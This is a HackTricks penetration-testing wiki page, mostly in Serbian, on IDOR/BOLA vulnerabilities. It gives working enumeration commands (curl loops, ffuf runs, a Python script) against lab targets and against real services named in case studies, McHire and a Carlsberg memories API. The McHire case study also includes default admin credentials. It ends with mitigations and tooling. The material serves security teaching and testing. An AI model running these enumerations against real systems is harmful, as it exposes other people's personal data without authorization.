IDOR (Insecure Direct Object Reference)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se javlja kada web ili API endpoint otkriva ili prihvata identifikator koji može kontrolisati korisnik i koji se koristi direktno za pristup internom objektu bez provere da li je pozivalac ovlašćen da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertikalno eskaliranje privilegija, kao što su čitanje ili izmena podataka drugih korisnika, a u najgorem slučaju potpuno preuzimanje naloga ili masovno iznošenje podataka.
1. Identifikovanje potencijalnih IDOR-a
- Tražite parametre koji ukazuju na objekat:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Preferirajte endpoint-e koji čitaju ili menjaju podatke (
GET,PUT,PATCH,DELETE). - Obratite pažnju kada su identifikatori sekvencijalni ili predvidivi – ako je vaš ID
64185742, onda64185741verovatno postoji. - Istražite skrivene ili alternativne tokove (npr. “Paradox team members” link na login stranicama) koji mogu otkriti dodatne API-je.
- Koristite autentifikovanu sesiju sa niskim privilegijama i menjajte samo ID zadržavajući isti token/cookie. Odsustvo greške autorizacije obično je znak IDOR-a.
Brza ručna manipulacija (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Automatska enumeracija (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerisanje predvidivih download ID-ova (ffuf)
Autentifikovani paneli za hostovanje fajlova često skladište metapodatke po korisniku u jednoj files tabeli i izlažu endpoint za preuzimanje kao što je /download.php?id=<int>. Ako handler proverava samo da li ID postoji (a ne da li pripada autentifikovanom korisniku), možete pretražiti integer prostor koristeći vašu validnu session cookie i ukrasti bekape/konfig fajlove drugih korisnika:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fruklanja 404-style predloške tako da ostanu samo pravi hitovi (npr., IDs 54/150 leaking full site backups and signing material).- Isti FFUF workflow radi sa Burp Intruder ili curl loop—samo se postaraj da ostaneš autentifikovan dok inkrementiraš IDs.
Autentifikovana kombinatorna enumeracija (ffuf + jq)
Neki IDORs prihvataju multiple object IDs (npr., chat threads između dva korisnika). Ako aplikacija samo proverava da si ulogovan, možeš fuzz-ovati oba IDs dok čuvaš svoj session cookie:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
Zatim dodatno obradite JSON izlaz pomoću jq da biste uklonili simetrične duplikate (A,B) vs (B,A) i zadržali samo jedinstvene parove:
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Orakl odgovora na greške za enumeraciju korisnika/fajlova
Kada endpoint za preuzimanje prihvata i username i filename (npr. /view.php?username=<u>&file=<f>), suptilne razlike u porukama o greškama često stvaraju orakl:
- Nepostojeći username → “User not found”
- Pogrešan filename ali validna ekstenzija → “File does not exist” (ponekad takođe navodi dostupne fajlove)
- Pogrešna ekstenzija → greška validacije
Sa bilo kojom autentifikovanom sesijom, možete fuzz-ovati username parametar dok držite benigni filename i filtrirati po stringu “user not found” da otkrijete validne korisnike:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Kada se identifikuju važeća korisnička imena, tražite specifične fajlove direktno (npr. /view.php?username=amanda&file=privacy.odt). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i otkrivanja kredencijala.
2. Studija slučaja iz stvarnog sveta – McHire Chatbot platforma (2025)
Tokom procene regrutacionog portala McHire, pokretanog tehnologijom Paradox.ai, otkriven je sledeći IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie za bilo koji test nalog restorana
- Body parameter:
{"lead_id": N}– 8-znamenkasti, sekvencijalni numerički identifikator
Smanjivanjem lead_id tester je dohvaćao proizvoljne podnosioce prijava i njihove full PII (ime, e-mail, telefon, adresa, preferencije smena), kao i consumer JWT koji je omogućio session hijacking. Enumeracija opsega 1 – 64,185,742 otkrila je otprilike 64 miliona zapisa.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
U kombinaciji sa default admin credentials (123456:123456) koje su omogućile pristup test nalogu, ranjivost je rezultovala kritičnim, kompanijskim narušavanjem bezbednosti podataka.
Case Study – Wristband QR codes as weak bearer tokens (2025–2026)
Flow: Posetioci izložbe su dobijali narukvice sa QR kodom; skeniranjem https://homeofcarlsberg.com/memories/ pregledač bi uzeo štampani ID narukvice, pretvorio ga u heksadecimalni zapis i pozvao backend na cloudfunctions.net da preuzme sačuvani medijski sadržaj (fotografije/video zapisi + imena). Nije postojalo session binding niti autentifikacija korisnika — poznavanje ID-ja = autorizacija.
Predictability: ID-jevi narukvica su pratili kratak obrazac poput C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Prostor kombinacija je procenjen na ~26M, što je trivijalno iscrpiti online.
Exploitation workflow with Burp Intruder:
- Payload generation: Izgradite kandidatske ID-jeve (npr.
[A-Z]-###-###). Koristite Burp Intruder Pitchfork ili Cluster Bomb attack sa pozicionim za slovo i cifre. Dodajte payload processing rule → Add prefix/suffix → payload encoding: ASCII hex tako da svaki zahtev pošalje heks string koji očekuje backend. - Response grep: Obeležite Intruder grep-match za markere koji se pojavljuju samo u validnim odgovorima (npr. media URLs/JSON fields). Nevalidni ID-jevi obično su vraćali prazan niz/404.
- Throughput measurement: ~1,000,000 ID-jeva je testirano za ~2 sata sa laptopa (~139 req/s). Pri toj brzini ceo prostor kombinacija (~26M) bi pao za ~52 sata. Uzorak pokretanja je već otkrio ~500 validnih narukvica (video zapisi + puna imena).
- Rate-limiting verification: Nakon što je vendor tvrdio da je uveo throttling, ponovo pokrenite istu Intruder konfiguraciju. Identičan throughput/hit-rate je pokazao da kontrola nije postojala/efikasna; enumeracija je nastavila neometano.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lesson: Encoding (ASCII→hex/Base64) ne dodaje entropiju; kratki ID-ovi postaju bearer tokens koji su numerabilni uprkos kozmetičkom kodiranju. Bez per-user authorization + high-entropy secrets, media/PII može biti masovno harvest-ovano čak i ako se tvrdi “rate limiting”.
3. Impact of IDOR / BOLA
- Horizontal escalation – čitanje/izmena/brisanje podataka drugih korisnika.
- Vertical escalation – korisnik sa niskim privilegijama dobija funkcionalnosti rezervisane samo za admina.
- Masovni kompromit podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
- Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
4. Mitigations & Best Practices
- Sprovođenje autorizacije na nivou objekta na svakom zahtevu (
user_id == session.user). - Preferirajte indirektne, nepredvidive identifikatore (UUIDv4, ULID) umesto auto-increment ID-ova.
- Autorizaciju vršite server-side, nikad se ne oslanjajte na skrivene form polja ili UI kontrole.
- Implementirajte RBAC / ABAC provere u centralnom middleware-u.
- Dodajte rate-limiting & logging da otkrijete enumeraciju ID-ova.
- Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


